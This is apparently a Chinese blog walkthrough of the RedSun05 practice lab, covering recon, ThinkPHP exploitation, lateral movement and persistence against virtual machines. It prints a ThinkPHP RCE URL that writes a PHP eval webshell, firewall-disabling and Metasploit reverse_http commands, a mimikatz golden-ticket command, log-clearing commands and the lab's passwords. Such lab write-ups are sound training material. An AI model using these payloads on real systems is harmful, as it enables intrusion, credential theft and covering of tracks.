RedSun05

简介

开启时间: 2024-02-23 17:24

环境搭建

靶机下载地址: 漏洞详情

基本就是win7 双网卡，模拟出网，进网

image-20240223172803207

image-20240223172830083

记得修改网络的配置，记得改成自动

密码

win7
sun\heart 123.com
win7内域用户登录
Administrator
dc123.com

进入系统密码
123.com

2008
sun\admin 2020.com
进入系统密码：
2020.com

细节搭建

win7

image-20240226091451242

打开phpstudy 就可以了

信息收集

我们知道的就是ip

确定ip

  1. 使用nmap

    1
    nmap -sP 192.168.79.1/24

    image-20240226091835368

  2. nbtscan

    image-20240226092032970

    尴尬，没有扫出来

    nbtscan 的原理是arp 按道理来说，不应该，尝试再扫一次

    image-20240226092259839

    出结果了

扫描端口

image-20240226092840546

发现只有两个端口开放，80，3306

尝试爆破3306

image-20240226093139647

image-20240226093638481

web打点

  1. 访问网站服务

    image-20240226093841782

    发现是thinkphp

    image-20240226093919608

    随便输入路径得到thinkphp 的版本

    尝试利用

    thinkphp - AU9U5T (tsy244.github.io)

    尝试写webshell

    1
    /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

    image-20240226094419726

    image-20240226094502122

    image-20240226094535199

    image-20240226094606251

  2. 查看用户

    image-20240226094818023

  3. 关闭防火墙

    1
    netsh advfirewall set allprofiles state off\on

  4. 尝试上线msf

    image-20240226095100165

    msf 打开监听

    image-20240226095252139

    上线成功

  5. 尝试提权

    image-20240226095530876

  6. 代理

    上传agent

    image-20240226100538535

    image-20240226100545764

    image-20240226100551747

    image-20240226100612641

    image-20240226101616764

    代理成功

  7. 传递cs 

    1
    2
    3
    4
    5
    use payload_in
    set lhost 192.168.79.138
    set lport 12090
    set payload windwos/x64/metepreter/reverse_http
    set disablepayloadhandler 1

    一直传不过去

    发现

    image-20240226103319227

    那就直接上传cs payload

    image-20240226103535515

    上线

    一会就寄了

    尝试使用x86

    还是不行

    尝试web delivery

    image-20240226104438182

    没有反弹

    image-20240226104605042

    使用exe 的会弹出警告

    重新开了一个Listener就好了

内网信息收集

  1. 查看win7 网段

    image-20240226094648748

    还有一个10

  2. fscan

    上传

    image-20240226095916648

    存活探测

    image-20240226100102835

    大型网络可以尝试扫描16 网段

  3. cs 进行存活探测+ 端口扫描

    image-20240226105211523

    image-20240226105718669

    发现存在80端口

    image-20240226105829077

    啥都没有

  4. 收集明文密码

    image-20240226105951734

  5. 收集hash

    image-20240226110110155

内网横向移动

  1. pth

    进行has 传递

    Cs 利用失败

    image-20240226203641951

    利用成功

权限维持

  1. 制作黄金票据

    需要的资料

    域名称

    域的sid

    kertgt 用户的hash

    伪造用户名（可以是任意的用户）

    • 获取域名+域用户的sid

      image-20240226215458632

      S-1-5-21-3388020223-1982701712-4030140183

    • 获取kertgt 用户的hash

      1
      wmic useraccount list brief

      image-20240226220418330

      aad3b435b51404eeaad3b435b51404ee

    • 删除之前的票据

      1
      mimikatz kerberos::purge

      查看票据

      1
      mimikatz kerberos::list

      image-20240226220151139

    • 创建黄金票据

      1
      mimikatz kerberos::golden /user:administrator /domain:sun.local /sid:S-1-5-21-3388020223-1982701712-4030140183 /krbtgt:a5025dd54ecce3ce2b31e1a07098c093 /endin:480 /renewmax:10080 /ptt

      image-20240226220548523

      image-20240226220622115

痕迹清楚

  1. 删除上传的工具

    image-20240226222556692

  2. msf日志清除

    1
    run event_manager -c

    image-20240226222806121

#靶场记录
RedSun05
https://tsy244.github.io/2024/02/23/靶场记录/RedSun05/
Author
August Rosenberg
Posted on
February 23, 2024
Licensed under